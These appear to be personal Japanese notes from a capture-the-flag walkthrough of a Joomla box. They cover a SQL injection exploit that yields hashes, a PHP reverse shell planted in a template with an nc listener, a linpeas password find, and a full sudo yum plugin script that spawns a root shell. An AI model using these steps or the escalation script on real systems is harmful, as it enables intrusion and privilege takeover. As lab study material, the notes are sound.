user.txt

  • Joomla! というのが動いてる
    • /language/en-GB/en-GB.xml にアクセスするとバージョンが見える(Joomla - HackTricks)
  • searchsploit で SQLi がヒットする
    • python のエクスプロイトコードが出ている(Exploit-Joomla)
    • ユーザ名とパスワードハッシュが得られる
  • Joomla にログイン
    • リバースシェルが template に貼れる(Joomla: Reverse Shell)
    • beez3 に php リバースシェルを貼る
    • save する
    • nc -nlvp 1234
  • リバースシェル
    • apache としてログイン，権限がなく user.txt が見れない
    • linpeas.sh でパスワードが露出していることが分かる（どういう仕組みなんだこれ）
    • su jjameson

root

  • yum が使えるらしい
    • rpm ロードをやろうとしたが fpm が使えず断念
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y